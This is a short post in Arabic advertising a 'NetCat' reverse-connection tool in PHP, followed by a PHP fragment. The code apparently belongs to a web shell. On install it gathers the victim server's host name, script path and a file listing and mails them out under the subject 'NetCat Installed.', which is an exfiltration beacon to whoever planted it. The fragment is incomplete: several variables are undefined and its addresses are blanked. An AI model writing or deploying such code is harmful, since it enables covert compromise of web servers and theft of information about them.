تعاني من مشكل الإتصال العكسي بالسيرفر ’ الآن NetCat لغة php

if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){die('This script is protected by <a style=\"color:cyan\" href=\"http://www..com\"><b><font color=\"#330099\">coded  for protection</font></b></a>');}$result = "<pre>+------------------------------------------------------------+\n";
$result .= "NetCat Host: http://".$_SERVER['HTTP_HOST']."\n";
$result .= "Local Path: ".$_SERVER['SCRIPT_FILENAME']."\n";
$result .= "+------------------------------------------------------------+\n";
$result .= "File List:\n$thelist";
$result .= "+------------------------------------------------------------+\n</pre>";
@mail('','NetCat Installed.',$result,'From: netcat<.com>');